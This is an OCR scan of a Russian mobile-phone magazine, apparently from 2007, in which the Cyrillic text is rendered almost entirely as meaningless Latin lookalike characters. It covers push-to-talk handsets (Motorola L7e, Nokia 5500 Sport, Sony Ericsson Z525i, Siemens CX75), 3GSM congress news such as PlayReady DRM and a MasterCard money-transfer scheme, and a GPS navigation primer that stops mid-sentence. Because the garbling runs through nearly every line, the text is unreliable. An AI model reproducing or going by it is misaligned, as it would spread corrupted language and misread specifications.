THTe Bee paBHO 3a 100 K6aHT. Taioxe He 

CTOHT 3a6BIBaTB H O TOM, HTO npHHHHn 
«Bce BxoaniitHe 6ecnjiaTHO» 3aecB He 
aencTByeT — 3a TpacJiHK ruiaTHT KaK tobo- 
pniaHH, TaK h cjiymaiontHH aOoHeHTBi. 

■ ■ ■ 1/lllbR UJaTMJlMH 
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Tejiec|)OHbi c noAAepwKon PTT: neM 3BOHmb 6yAeM 


Motorola L7e 

Te/iecjDOH K/iaccnnecKoro TOHKoro c|3opM- 
c|DaKTopa Motorola L7e (He nyiaTb co cra- 
poM MOfle/ibK) Motorola L7) — xopownPi 
KaHflMflaT Ha po/ib cotobom papn m. Bcero 
3a 6000 py6/iePi Bbi no/iynaeTe b CBoe 
pacnopflweHMe HeTbipexAnana30HHoe 
M 06 n/lbH 0 e yCTpOMCTBO TOJ1LAMHOM 
11,5 mm c TFT-AMcn/ieeM c pa3pemeHneM 
176x220 (262 144 ABeTa), noAAep>KKon 
ceTePi EDGE (K/iacc 10), MP3-n/ieepoM, 


aAaniepoM Bluetooth c npoc|3njieM A2DP, 
1,3-MerannKce/ibHOM KaMepoPi n cjiotom 
A/ifl KapT naMATM microSD ao 2 r6aMT 
(c B03MO>KHOCTbK) ropflHePi 3aMeHbl). 

Mbi Bbi6pa/in MMeHHO 3Ty HOByfo MOAe/ib ot 
Motorola, nocKO/ibKy L7e noAAep/KMBaeT He 
TO/ibKO K/iaccMHecKMM cepBMc Push-to-Talk, 
ho TaK>Ke n ero o6HOB/ieHHbm BapnaHT 
Push-to-View. 3 tot cepBMc no3BO/meT 
K/ineHTaM cotobom ceTM HanpaMyio o6Me- 
HMBaTbCfl KapTMHKaMM. 


MecTO STN-AMcn/iefl c pa3peweHneM 
128x128 ToneK (4096 abctob) Ha hobom 
MOA e/iM 3aH5ui TFT-3KpaH c pa3peweHneM 
208x208 ToneK (262 144 pBeia). B to 
B peMfl KaK Nokia 5140 MMe/ia Bcero 
4 M6aMT BCTpoeHHOM naMATM, HOBa/i 
Nokia 5500 Sport pacno/iaraeT 8 M6anT, 
a TaK>Ke cjiotom f\nn microSD c noAAepw- 
kom KapT ao 2 T6aMT (64 M6aMT b KOMn- 
JieKTe nOCTaBKM). npMMMTMBHafl VGA- 
KaMepa ycrynn/ia MecTO 2-MerannKce/ibHon 
C 4-KpaTHblM 3yMOM. 


Nokia CTa/ia nepBbiM nponsBOAMTe/ieM, 
BblliieAUJMM Ha pOCCMMCKMM pbIHOK C 
Te^ecjDOHOM-pauMeM 


CnopTMBHOM MOAO 1 
zibio Nokia 5140. CeroAHfl npaKTMHecKM 
Bee annapaTbi Nokia BbinycKafOTca c noA- 
Aep>KKOM PTT 
m HOBaa MOAe/ib Nokia 5500 Sport. 
CpaBHMB TeXHMHeCKMe XapaKTepMCTMKM 
5140 m 5500 Bbi yBMAMTe, KaKoro nporpec- 
ca aoctmt/im Mo6n/ibHbie ycrpoPicTBa Bcero 
3a noc/ieAHne Asa roAa. 


He CTa/ia MCK/noneHneM 


Sony Ericsson Z525i 

3 Ty MOAe^b ot KOMnaHMM Sony Ericsson, 
noflBMBiuyfocfl b npoAa>Ke b 2006 roAy, 
nacTO nyTafOT c pacK/iaAywKon Z520i. 
flePicTBMTe^bHO, annapaTbi npaKTMHecKM 
OAMHaKOBbl, OAHaKO ec/iM Bbi nOCMOTpMTe 
Ha zieBbiPi Topeu o6enx MOAe/iePi, to cpa3y 
3aMeTMTe pa3HMpy: y Sony Ericsson Z520i 
np/iMO HaA KHonKOM pery/iMpoBKM rpoM- 
koctm 3ByKa pacno/iaraeTCfl K/iaBnwa 
BK/lK)HeHM51 KaMepbi, B TO BpeMfl KaK y 
Sony Ericsson Z525i 3Aecb pacnojio>KeHa 
KHonKa c 6yKBaMM «PTT». 


C tohkm 3peHM5i TexHMHecKMx xapaKTepnc- 
TMK M ((DyHKUMOHaJlbHblX B03MO>KHOCTeM 

pacK/iaAyLUKa no/iynn/iacb AOBO/ibHO noc- 
peACTBeHHOM: He6o/ibiiioPi BHyTpeHHnn 
TFT-AncnjiePi c pa3peweHneM 128x160 to- 
neK (65 536 abctob) abho Ma/iOBaT f\ns\ 
MHTepHeT-cepcfiMHra, BcrpoeHHafl naMATb 
orpaHMHeHa cKpoMHbiM oO^eMOM b 
12 M6aPiT, VGA-KaMepa He CMO>KeT nopa- 
AOBaTb KaHeCTBeHHbIMM CHMMKaMM, a 
Bluetooth He noAAep/KMBaeT npoc|Dnjib 
A2DP. BnponeM, noK/iOHHMKOB 6peHAa 
Sony Ericsson 3 to Bp/iA/m ocTaHOBMT. 


Siemens CX75/M75 

Siemens CX75 — 3 to OAHa M3 noc/ieAHnx 
MOAe/iePi, pa3pa6oTaHHaa HeMepKMM koh- 
uepHOM ene ao npoAa>KM Mo6n/ibHoro 
noApa3Ae/ieHMfl KOMnaHMM BenQ. Ec/im 
npMH5iTb b pacneT toa BbinycKa — 2005-Pi, 
TO npMXOAMTCfl npM3HaTb, HTO MH>KeHepbl 
Siemens yMe/in Ae/iaTb Ao6poTHbie He- 
Aoporne Te/iecf)OHbi MaccoBoro 
nojib30BaTe/m. TpexAMana30HHbiPi an- 
napaT CX75 ocHaneH Hen^oxMM TFT- 
Ancn/ieeM c pa3peweHneM 132x176 
(262 144 pBeTa), BCTpoeHHoPi naMATbio 


eMKOCTbio 14 M6aPiT, cjiotom pj\s\ KapT na- 
math RS-MMC, 1,3-MeranMKce/ibHOM KaMe- 
pon, noAAep>KKOM 3D-rpac|)MKM b Mrpax, 
MP3-n/ieepoM, 1/IK-nopTOM m aAanTepoM 
Bluetooth. Fla npaBon 6 okobom CTopoHe 
HaxoAMTC5i KJiaBMiua KaMepbi, a cpa3y noA 
HePi pacno/io>KeHa KHonKa Push-to-Talk c 
M3o6pa>KeHMeM paunn. 

Ec/im >Ke Bbi npeAnoHMTaeTe cnopTMBHbie 
MOAe/lM, TO MO)KHO OCTaHOBMTb CBOPi Bbl- 
6op Ha Siemens M75 c aHa/iornHHbmn 
TeXHMHeCKMMM XapaKTepMCTMKaMM M yCM- 
zieHHbiM KopnycoM. 
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C 12 no 15 cfDeBpajin b BapcenoHe npoiuen onepeflHOM KOHrpecc 3GSM, Ha kotopom Kpyn- 
HeMLLIMe npOM3BO,qMTeJlM KOMMyHMKaUMOHHOH TeXHMKM I/I BeflyiUMe MMpOBbie npOBaMflepbl 
npeflCTaBi/mi/i CBoe BMfleHMe Oyflymero ivmpa OecnpoBOflHOM cbh3i/i. 


ycjiyrM orepatopob 

HenoBenecKHM tyaiaop 


Obburno Ha noaobHoro poaa cjiopyMax 

MbI y^eJIiUIH MaJIO BHHMaHHH COTOBbIM 
onepaTOpaM, nocTaBmHKaM TejieKOMMy- 
HHKau;HOHHbix pemeHHH, npOH3BoaHTe- 
JIHM KOHTeHTa H HHTepHeT-KOMnaHHHM, 
npeanouHTau hm o630pbi nojib30BaTejib- 
CKOH TeXHHKH, BbICTaBJieHHOH Ha CTeH- 
aax ynacTHHKOB. K TOMy xe Te peine - 
hhh, KOTOpbie npe^JiarajiHCb paHbine 
A Jin coTOBbix ceTen TpeTbero noKOJie- 
HH H, 6bIJIH HeHHTepeCHbl pOCCHHCKHM 

nojib30BaTejinM GSM-ceTen. OaHaxo b 
3tom roay b BapcejiOHe 6bijih npeacTaB- 
jieHbi HOBbie BHflbi ycjiyr, KOTOpbie, 


HecoMHeHHO, OKaxyr BjiHHHHe Ha aajib- 
HeHinee pa 3 BHTHe Been OTpacjiH. 

HauHeM c Toro, uto npe3HaeHT (Jihhc- 
koh KopnopaiiHH Nokia OjuiH-IleKKa 
KajuiacByo 3auBHji o noanHcaHHH koht- 
paicra c KOMnaHHeii YouTube, bjiarouapa 
KOTOpOMy BjiaaejibHbi Nokia CMoryr npo- 
CMaTpHBaTb BHueo c 3Toro nopTajia Ha 
CBOHX MOblUIbHblX yCTpOHCTBaX. B paM- 
xax aaHHoro npoeicra Ha HHTep h eT-caifre 
YouTube byaeT co3aaH cneu;HajibHbiH 
pecypc, onTHMH3HpOBaHHbiH rjw npo- 
CMOTpa c 3KpaHa coTOBoro TejiecjiOHa. 

O^hh H3 KpynHeHiuHx MHpOBbix onepa- 
TopoB Vodafone 3aKjuouHji ajibHHC c kom- 
naHueu Google aJ ih Hcnojib30BaHHH cep- 
BHca Google Maps b TejiecjiOHax, KOTOpbie 
onepaTOp npoaaeT cbohm aboHenraM. 


Oco6bih HHTepec eBponeiicKHx aboHeH- 
tob Vodafone Bbi3Bajio coobiaemie, uto 
HOBblii CepBHC IUiaHHpyeTCU HCn0JIb30- 
BaTb COBMeCTHO C ycjiyroil n03HHH0HHp0- 
BaHHu Ha ba3e GPS. Beponrao, aboHeHTbi 
Vodafone nojiyuaT ynpomeHHbiH aocryn c 
Tejie(J)OHa h k apyruM cepBHcaM Google. 

Kopnopauna Microsoft npeacTaBiuia Ha 
KOHrpecce CHCTeMy 3auiHTbi KOMMepuec- 
Koro KOHTeHTa DRM ana MobujibHbix 
ycTpoiicTB noa Ha3BaHHeM PlayReady. ITo 
3auBjieHHHM npeacTaBHTejieii KOMnaHHH, 
HOByio CHCTeMy yxe noaaepxcajiH aMepn- 
KaHCKHe onepaTOpbi Verizon Wireless h 
Cingular Wireless, a TaioKe eBponeiiCKHe 
Telefonica, 02 h Bouygues Telecom. 
IljiaHHpyeTcu, uto OHa byaeT BHeapeHa b 
TeueHue nepBoro nojiyroana. 
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CncTeMa PlayReady npeaHa3HaaeHa jinn 

3amHTLI My3bIKH, BM^eO, HTp, pHHTTOHOB 
h H3o6pa3ceHHH, npHodpeTeHHBix y noc- 
TaBmuKa xonreHTa, ot HexoHTpojiHpye- 
Moro KonHpOBaHHH. HoBaa cucTeMa DRM 
noaaepacHBaeT cjiopMaTbi Windows Media 
Audio, AC/AAC+/HE-/AAC, Windows 
Media Video n H.264. 3to He nepBaa nop- 
TaTHBHaa DRM, paHee Microsoft Bbinyc- 
THjia PlayForSure ana mieepOB Zune. 



UMPC? OnpeflemiTb mn aioro HeofibiHHoro 
ycipoMCTBa Kpa ii h e cjiojkho 


MOEMJlbHblM EAHKMHT 

MasterCard b TenetpOHe 


19 xpynHeftniHx mhpobbix onepaTOpOB 
COTOBOft CBa3H OdBaBHJIH Ha KOHrpecce 
o 3anycKe npoexTa eaHHoft CHCTeMbi 
aeHencHbix nepeBoaoB. KcTaTH, pyxo- 
BOaCTBO «BbIMneJIKOM» odBaBHJIO o 
totobhocth b dyaymeM npHeoeaHHHTb- 
ca k Heft. IlHjiOTHbift npoeKT CTapTOBan 
b MTajiHH npH noaaepacxe Telefonica, 
Telecom Italia h Vodafone Italy B Teae- 
Hne mecTH Mecau;eB 6yayr TecmpOBaTb- 
ca aeHeacHbie nepeBoabi Meacay adoHeH- 
TaMH, KOTopbie aBjiaiOTca MHrpaHTaMH h 
nepecbinaiOT aeHbm b cboio CTpaHy. 
B aaJibHeftmeM aaHHaa nporpaMMa dy- 
aeT aeftcTBOBaTb He tojibko Ha Cpea- 
HeM BocTOKe h EBpone, ho h b A3hh. 
IljiaHHpyeTca oxBaT TaKHx CTpaH xax 
Manaft3Ha, IlaKHCTaH, TanjiaHa, a Taxace 
paaa rocyaapCTB lOacHoft AcjipHXH. 


KjiHeHTbi o to ft CHCTeMbi dyayr tohho 
3HaTb, Koraa aeHbm OTnpaBjieHbi h nony- 
aeHbi. npH 3 tom miaHHpyeTca, hto ctoh- 
MOCTb onepaaHH dyaeT b cpeaHeM Ha 30% 
HHace odbiaHoro aeHeacHoro nepeBoaa. 
ModiuibHbie onepaTopbi paccaHTbiBaiOT 
Ha yBejiHaeHHe BbipyaxH h adoHeHTCxoft 
da3bi 3G, ho He codnpaiOTca npeBpa- 
maTbca b cepBHCHbie KOMnaHHH, noaTOMy 
aaHHbift npoexr dyaeT ocymecTBjieH noa 
dpeHaoM MasterCard Worldwide. B CHCTe- 
Me dyayr 3aaeftcTBOBaHbi 25 Tbicau Toaex 
MasterCard no BceMy MHpy. 

no MHeHHio onepaTOpOB, aaHHaa ycnyra 
dyaeT BOCTpedoBaHa cpean adoHenroB 
aaace c HedojibmHM ARPU (cpeaHaa eace- 
MecaHHaa Bbipyaxa c oaHoro adoHeHTa) 
oxojio $3-4. OmocHTejibHO cxeMbi pado- 
tbi nporpaMMbi npeacTaBHTejin onepaTO- 
pOB 3aaBHjiH, hto OHa dyaeT aHanomaHa 
ModmibHOMy daHXHHry, to ecTb bxjhohht 
b ceda cncTeMy, noxoacyio Ha WebMoney. 
■ ■■ flMmpMM LUynbruH 
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HHI? NEWS & TRENDS Hoboctm KOHrpecca 3GSM 


Mo6MJlbHbM 6M3HeC 




^box (8/170) 


fessaSa. 


Motorola Q qsm/a9 

AMepMKaHUbi npeflCTaBM/iM flBa HOBbix KOMMyHMKaTopa c QWERTY-K/iaBMaTypoPi: 
Motorola Q gsm m Motorola Q q9. Xota BHeiuHe ohm pa3JiMHaK)TCfl jiMLUb cj/opMoPi 
KHonoK, no cyTM, 3to ycTpoPicTBa pa3/iMHHoro K/iacca. Q gsm AB/meTca o6biHHbiM 
GSM-KOMMyHMKaiopoM c noflflep>KKOM EDGE (K/iacc 10), 1,3-MeranMKce/ibHOM 
KaMepoPi, c/iotom f\n9 1 KapT miniSD (ao 1 rbaPiT), USB 1.1, Bluetooth 1.2 
m aAamepoM Wi-Fi 802.11b/g. EAMHCTBeHHoe cymecTBeHHoe HOBiuecTBO no 
cpaBHeHMK) c npe>KHeM MOAe/ibfo 3aK/ifOHaeTC5i b nepexoAe Ha n^aicjDopMy 
Windows Mobile 6.0 (BepcMfl Standard Edition). 
Q q9 — 3to nepBbrn KOMMyHMKaTop ot Motorola c noAAep/KKoPi ceieu hoboto 
noKO/ieHM5i HSDPA, b paMKax kotopom oh mo/kct 3arpy>KaTb AaHHbie Ha CKopo- 
ctm ao 3,6 M6mt/c (Q q9 TaK>Ke MO>KeT pa6oiaib m b poccmmckmx EDGE-ceT/ix). 

Bee TexHMHecKMe napaMeipbi Motorola Q q9 6bi/iM ycM/ieHbi: KOMMyHMKaTop 
ocHaiueH 2-MeranMKce/ibHoPi KaMepoPi, MMeeT c/iot A/m KapT microSD (ao 2 r6aMT), 
nopT USB 2.0 m aAamep Bluetooth c noAAop>KKOM npoc|)M/iePi A2DP m AVRCP. 


1 (0 I a * y 

V ££ 


Nokia E61 i/E90 


Nokia E61i mo>kho Ha 3 BaTb «pa 6 oTOM HaA 0 WM 6 KaMM», AonyiAeHHbiMM npu Bbi- 
nycKe E61. MoAe/ib E61i no/iyHM/ia 2-MeranMKce/ibHyfo KaMepy, HOBbm c/iot 
A/ m KapT microSD (Ha E61 6 bm c/iot A-n^ miniSD) m noAAop>KKy WMc|DpoBaHMfl 
WPA2 Ha 6 ecnpoBOAHOM aAanTepe Wi-Fi. Ha 3tom, co6ctb6hho, cnucoK aomc- 
TBMTe/lbHO B3)KHblX M3MeHeHMM 3aKaHHMBaeTCfl, OnepaqMOHHa /1 CMCTeMa OCTa- 
/iacb npe>KHeM — Symbian OS 9.1. 

Nokia E90 6bma C03AaHa Ha hobom n/iaTcfiopMe Symbian OS 9.2. E90 ocHaiueH 
BHyTpeHHMM AMcn/ieeM c pa3peweHMeM 800x352 ToneK m BHeuiHMM 3KpaHOM c 
pa 3 peiueHMeM 240x320 — o6a OTo6pa>KaK)T 16 m/ih abctob. Ha 3aAHeu naHe- 
/iM pa3MeiAeHa 3,2-MeranMKce/ibHa/i cJ/OTOKaMepa, a Ha BHyTpeHHeu CTopoHe 
KpbiLUKM — QCIF-KaMepa A-n^ bma 603 bohkob. Hobum KOMMyHMKaTop cnoco6eH 
pa6oTaTb b ceTflx UMTS/HSDPA. PlMeKmm aAanTep Wi-Fi 802. llg, Bluetooth 2.0, 
FM-paAMO, GPS-npueMHMK m t. a* fl/m pa6oTbi TaKoro ycrpoPicTBa noHaAo6M/icfl 
MOiAHbm aKKyMy/mTop eMKOCTbfo 1500 mAh. 


Samsu 
SPH-P9000/M81 0 


Ha CTeHAax KopePicKoPi KOMnaHMM no/iBM/iMCb ycTpoPicTBa, pa6oTafoiAMe b ceinx 
Mobile WiMAX (802. 16e) — Samsung SPH-P9000 m SPH-M8100. KOMMyHMKaTop 
SPH-P9000, C03AaHHbm Ha 6a3e Windows XP, ocHaiueH npoqeccopoM Transmeta 
1 rrq, 256 M6aPiT onepaTMBHOM naM/iTM, 5-AfOMMOBbiM WVGA-AMcn/ieeM 
(854x480 ToneK) m /kcctkmm ahckom eMKOCTbfo 30 T6aPiT. no/iHoqeHHa/i K/iaBMaTy- 
pa, 1,3-MeranMKce/ibHa/i KaMepa m MP3-n/ieep Aono/iHflfOT cnucoK xapaKTepMCTMK 
3Toro Heo6biHHoro TpaHccj/opMepa. B c/io/kchhom BMAe ycrpoMcmo OKa3biBaeTca 
A0CT3T0HH0 KOMnaKTHblM — 143x94x29 MM, HO AOBOJlbHO T5DKe/l bIM — 580 T. 
C/iaPiAep SPH-M8100 Ha 6a3e Windows Mobile ocHaiueH 2,8-AK)PiMOBbiM ceHcopHbiM 
AMcn/ieeM c pa3peiueHMeM 240x320 ToneK, 2-MeranMKce/ibHOM c|DOTOKaMepoPi m 
VGA-KaMepoM A/m BMAeo3BOHKOB, c/iotom a/i/ 1 KapT MMCmicro m Te/iecKonunecKoPi 
aHTeHHOM. l/l3K)MMHKOM ASHHOM MOAe/lM 5HB/15HeTC5H DMB-’ 
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KOMfiaKTHbie pa3BJieHeHM5l 



PRADA bv LG 
(KE850) 

Eme oamh noTeHUMa^bHbm KOHKypem 
iPhone 6bm n3BecreH eme b AHBape, 
oflHaKO TO/ibKO Ha KOHrpecce b Eap- 
ce/iOHe KOMnaHMfl LG oc|DnAnajibHO 
npeAdaBM^a MOAe/ib KE850. 3tot toh- 
kmm Te/iec|DOH (98,8x54x12 mm) ocHa- 
meH noAAep>KKOM EDGE, 6o/ibiuMM 
ceHcopHbiM aKpaHOM c pa3peweHneM 
240x400 ToneK (16 mjih abctob), 
2-MerannKce/ibHoPi (J/OTOKaMepon, 


Nokia 6110 
Navigator 

flo cnx nop Te/iec|)OHbi c GPS-npneMHHKaMH ocrafOTCfl 
60 JlbW 0 n peAKOCTbK), H He TOJlbKO Ha pOCCMMCKOM pbIHKe. 
TeM MHTepecHee 6bmo yBMAeib Ha KOHrpecce CMapic|)OH 
Nokia 6110 Ha 6a3e Symbian (Series 60, Bepcna 3.1). 
K/iaccMHecKMM c/iakiAep ocHaiueH noAAep>KKon ceTen 
HSDPA n EDGE — noc/ieAHee npnroAmcfl OTenecTBeHHbiM 
no^b30Baie/i5iM. Bojibwon 2,2-AK)MMOBbm A^cn/ien 
c pa3peiueHMeM 240x320 xopoiu AJifl CMapic|30Ha, OAHaKO, 
Ha Haiu B3mflA, Bee >Ke Ma/iOBaT rm KOMcj/opTHon pa6oibi 
c KapiaMM. KaK n Bee moaojih Nokia ashhoto ypoBHA, 
c/iaMAep ocHaiueH 2-MerannKce/ibHOM cjDOTOKaMepoM, 
CIF-KaMepoPi f\nn bma 603 bohkob, FM-paAno, 
MP3-n/ieepoM n c/iotom f\nn KapT nmnvA microSD. 




Samsung Ultra 
Smart F700 


Samsung noKa3a/ia cbom HOBbm meAeBp Ultra Smart 
F700. Bee onepaunn no ynpaB/ieHMK) ycrponcTBOM ocy- 
LAecTB/i5iK)TC5i c noMOiAbK) ceHcopHoro TFT-Ancn/iefl c 
pa3penieHneM 240x440 ToneK. npnneM crn/iyc BaM He 
noHaAo6mc5i — AOCTaioHHo HawMMaTb Ha 3KpaH na/ib- 
A3MM, HTo6bl nO/iyHMTb OTK/1MK. l/lcnO/lb30BaHMe TeXHO- 
jiornn VibeTonz o6ecnennBaeT oiAyneHMe HawaTi/m Ha 
KHonKy: npn npnKOCHOBeHi/in k ceHcopHOMy A^cn/ieio 
Kopnyc c/ierKa Bn6pnpyeT. Ctout TaK>Ke OTMeimb noA- 
Aep>KKy ycipoMCTBOM ceTen HSDPA (3arpy3Ka AaHHbix 
Ha CKopocTM ao 7,2 M6m/c), hto no3BO/WT 6bicipo 
CKaHMBaTb My3biKa/ibHbie n BMAeoc|3aHJibi. KpoMe Toro, 
Ultra Smart F700 ocHaiueH 5-MerannKce/ibHon c|DOTOKa 
MepOM C aBTO(|30KyCOM. 


MP3-n/ieepoM, FM-paAno n c/iotom a/ia 


KapT c|)opMaTa microSD (256 M6anT 
b KOMn/ieKTe nocraBKn). flo oc|DHAHa/ib- 


Motorola Z8 


hom npe3eHTaunM b Eapce/ioHe 6bi/io 
mhoto cnopoB no noBOAy onepaunoH- 
HOH CMCTeMbl ASHHOrO yCTpOHCTBa. 
BbicKa3biBa/incb Aawe CMe/ibie npeA- 
nojio>KeHnfl, hto PRADA 6yAeT pa6o- 
TaTb noA Windows Mobile 6.0, ho LG 
He peiumiacb Ha TaKon pncKOBaHHbin 
3KcnepnMeHT. OAHaKO Ha KOHrpecce 
Kopenubi Bce-TaKM npeACTaBH/in kom- 
MyHMKaTop Ha 6a3e Windows, KcraTH, 
BHeiuHe oneHb noxo/Knn Ha PRADA, 
KOTopbiM ocHaiueH noAAep>KKOM HSDPA. 


KoMnaHM/i Motorola npeAcraBH/ia Heo6biHHbin c/ianAep c hhaokcom Z8 Ha 6a3e Symbian. 
YCTpOMCTBO TO/llAMHOM 15,3 MM nO/iyHHJlO OpHTHHa/lbHyK) KOHCTpyKAMfO: npn CABMre KpblLLI- 
km Kopnyca HM/KH/m naerb Te/iecfioHa c/ierKa HaA/iaMbiBaeTca, TaK hto Tpy6Ka npnHHMaeT 
c|3opMy 6yMepaHra. 3aneM 3 to Hy>KHO? BcnoMHHTe, CKO/ibKO pa3 b cbomx TecTax Mbi yKa3bi- 
Ba/iM Ha to, hto b c/ianAepax naHe/ib npn CABnre MeiuaeT na/ibuaM ncno/ib30BaTb BepxHnn 
pflA Cj/yHKAMOHa/lbHblX KHOnOK. A npn TaKOH KOHCTpyKAMM, KOTOpyK) npOAeMOHCTpnpOBa/ia 
Motorola, cthk no/iynaeTCfl maAKHM, n AaHHa/i npo6/ieMa CHHMaeTCfl. 
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Ejiaroflapa noaBJieHmo KOMnaKTHbix 
GPS-MO,qyjieM cnymi/iKOBafl HaBnra i\m 
Tenepb flociynHa He TOJibKO aBTOJiio- 
fimejiBM, ho n newexoflaM, He wena- 
iolhhm HacaMM 6/iy>KflaTb no He3HaKO- 
MbiM OKpawHaM 6ojibwi/ix ropoflOB. 


B 3T0M CTaTbe 

rjiofia/ibHafl ci/ideMa no3i/ii4i/iOHi/ipoBam/ifl 
Ti/mbi ydpoi/iCTB c GPS-peci/iBepaMi/i 
HaBMrauMOHHbie KapTbi 

b 


GPS-HaBMramM 

XOTH pH AO BOM n0JIB30BaTeJIB CnyTHHKO- 
boh HaBHrau;HOHHOH CHCTeMBi pa6oTaeT 
TOJIBKO C OKOHeHHBIMH yCTpOHCTBaMH, 
ocHameHHBiMH KapTaMH, eMy 6y^eT 
nojie3HO HMeTB o6mee npeACTaBjieHHe o 
CHCTeMe GPS. Bo bchkom cjiynae, 3Han 
npHHijiinBi pa6oTBi cnyraHKOBOH HaBH- 
rauHH, bbi He 6yaeTe nbiTaTbCH noHMaTb 
CHraaji noA KpbimeH AOMa, nepecTaHeTe 
yAHBjiHTbCii c6ohm b pa6oTe npH npo- 
XOvKAeHHH TpaHCnOpTHbIX pa3BH30K H 
6yAeTe npH noxynxe GPS-pecHBepa 
o6pamaTb BHHMaHHe Ha nopAAKOBbie 
HOMepa HHnceTOB SiRF. 

TpnaHrynaiuia 

YHHKajibHbie HaBHrau;HOHHbie bo3mox- 
HOCTH CnyTHHKOBOH CHCTeMbI OCHOBa- 
hbi Ha npHHAHne TpHaHryjiHijHH. 
CncTeMa pa6oTaeT, H3MepHH BpeMH, 
3a KOTOpoe paAHOCHraaji aoxoaht ot 
cnyTHHKa a o GPS-npneMHHKa, a 3aTeM 


BblHHCJHieT paCCTOHHHe. EcJIH MbI MO- 
xeM tohho onpeAejiHTb momcht BpeMe- 
hh, b KOTOpbiH cnyTHHK Hanaji nocbl- 
jiaTb paAHOCHmaji, h momcht, KorAa oh 
6biji nojiyneH, to moxho Taxace onpeAe- 
jihtb, Kax aojito oh rneji ao Hac. H TOTAa, 
yMH03can CKopocTb pacnpocTpaHeHHH 
CHTHajia (300 000 km/c) Ha BpeMH b 
cexyHAax, mbi bbihhcjihm HCKOMoe pac- 
CTOHHHe ot cnyTHHKa ao pecHBepa. 
B pe3yjibTaTe otoh onepaijHH mbi nojiy- 
naeM nepByio Tonxy OTcneTa: noMema- 
eM GPS-npneMHHK TAe-HH6yAB Ha 
noBepxHOCTH BooGpaxaeMOH ccpepbi 
c paAHycoM, paBHBiM ero paccTOHHHio 
AO cnyTHHKa. KorAa CHmajibi ot Tpex 
Apyrnx cnyraHKOB 6yAyT o6pa6oTaHbi 
TaKHM xe o6pa30M, BCTpOeHHBIH KOM- 
nbiOTep GPS-npneMHHKa CMOxeT 
BBIHHCJIHTB TOHKy, B KOTOpOH BCe HeTBI- 
pe ccpepbi nepeceKaiOTCH, onpeAejiHB, 
TaKHM o6pa30M, TeKymyio AOJiroTy, 
IHHpOTy H BBICOTy. 


B TeopHH Tpn cnyTHHKa oOecnenHBaiOT 
OAH03HanHoe onpeAejieHne MecTa b 
npocTpaHCTBe, ho Ha npaKirnce CHCTeMe 
TpeOyeTCH no KpanHen Mepe neTbipe 
cnyTHHKa, hto6bi CKOppeKTHpoBaTb 
norpeniHOCTb b nacax GPS-pecHBepa. 
fleJIO B TOM, HTO Ha GPS-yCTpOHCTBe 
HeJIB3H pa3MeCTHTB TOHHbie aTOMHbie 
nacbi, noaTOMy npnxoAHTCH Hcnojib30- 
BaTb AaHHbie neTBepToro cnyTHHKa, 
HT06bI HCKJHOHHTb OTHOCHTeJIBHOe CMe- 
meHHe niKajibi BpeMeHH npneMHHKa. 
Ka^AbiH cnyTHHK CHCTeMBi GPS nepe- 
AaeT HaBHrau;HOHHbie cnrHajibi Ha AByx 
nacTOTax: 1575,42 MTii (ajih rpaxAaHC- 
khx jihu;) h 1227,6 MTu; (ajih BOOpyxeH- 
hbix chji CLQA). 

OpGHTBI HaBHTaAHOHHBIX CnyTHHKOB 
H3BecTHBi 3apaHee, a GPS-npHeMHHKH 
HMeiOT ajibMaHax, pa3MemaeMbiH b naMH- 
TH HX KOMnblOTepOB, H3 KOTOpOTO H3BeC- 
tho, TAe 6yAeT HaxoAHTBCH KaxcAbiH cnyT- 
HHK B JH060H MOMeHT BpeMeHH. HtoGbi 
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D Mo6mibHbie 
ycipoMCTBa c GPS 

■ B cocraB CMdeMbi GPS-HaBMrauMM 
BxoflflTTpM ocHOBHbix cemeHTa: KOC- 
MMHeCKMM, Ha3eMHblM M no/ib30Ba- 
Te/ibCKMM. llepBbm coctomt m 3 28 aB- 
TOHOMHblX CnyTHMKOB, paBHOMepHO 
pacnpeflejieHHbix no op6maM Ha Bbi- 
coTe 20 350 km. riapaMeipbi mx op6m 
KOHTpO/lMpyfOT nflTb Ha3eMHblX CT3H- 
u,m c/ie>KeHM5i, HaxoAfliAMxcri b Tpo- 
nMHecKMx lUMpoTax. TpeTHPi cemeHT 
CMCTeMbl — 3TO GPS-npMeMHMKM, Bbl- 
no^HeHHbie m KaK caM0CT05ne/ibHbie 
npn6opbi (HOCMMbie mjim crauMOHap- 
Hbie), m KaK n/iaTbi nnx noAK/ifoneHM^ 

K I1K, 6opTOBblM KOMnbfOTepaM M Apy- 
ri/iM annapaiaM. 3a BpeM5i cyiAecTBO- 
BaHMfl M P33BMTM51 HaBMTaUMOHHblX 
CMCTeM npMMepHO 60 CjlMpMaMM co- 
3AaHO 6o/iee 400 Ti/inoB npMeMHOM 
annapaiypbi, KOTopari Mcno/ib3yeTC5i 
A/m peiueHM5i KaK BoeHHbix, TaK m 
rpa>KAaHCKMx 3aAan. CeroAH/i Mbi 
paccKa>KeM o GPS-HaBMraTopax, koto- 
pbie 53BJ153KDTC53 HaCTbK) M06n/lbHblX yC- 
TpOMCTB — Te/iecflOHOB, KOMMyHMKa- 
TOpOB M HOyT6yKOB. 


2 HaBurauMOHHbm 

cocJjt: mo Bbi 6 paTb? 

■ 0AHO3HaHHbix peKOMeHAauMM no Bbi6opy 
HaBMrauMOHHbix nporpaMM AaTb He/ib35i. 

I/I 3 MHO>KecTBa cyiAecTByioiAMx Ha pbiHKe 
reoMHc|)opMauMOHHbix yTM/iMT He TaK y>K m 
MHO rO AeMCTBMTe/lbHO nOJie3HblX A/m 
pOCCMMCKMX yC/lOBMM. Pa3pa60THMKM He 
cneiuaT BbinycKaTb KanecTBeHHbie KapTbi, 
orpaHHHMBa^cb Aec5iTKOM-ApyrMM 
KpynHbix ropoAOB. PlHorAa BnenaT/ieHMe 
ot b o6iAeM-TO Hen/ioxoPi nporpaMMbi 
nopTHT OTcyTCTBMe noMCKa Ha pyccKOM 
533blKe. no COBOKynHOCTM Bcex n/HOCOB M 
MMHycoB Mbi OTo6pa/in neTbipe /lyHWMx 
HaBMrauMOHHbix nporpaMMbi. Wi/ue/iAM 
MocKBbi m CaHKT-neiep6ypra noAOMAeT 
TomTom Navigator. TeM, kto He /ho6mt 
H oci/iTb b KapMaHe MHo>KecTBO raAweTOB, 
noHpaBmcn nporpaMMHO-annapaTHoe 
pemeHMe ot Benefon — GPS-npneMHMK, 
1/IHTerpnpOBaHHblM B M06l/lJlbHblM 
Te^ecjDOH. B/iaAe/ibAbi KI1K Ha ocHOBe 
Windows Mobile opeH/n nporpaMMy iGO 
3a KpacMBbiPi m coBpeMeHHbiPi MHTepcJieMc, 
a coAep>KaiAa5i MHo>KecTBO KapT 
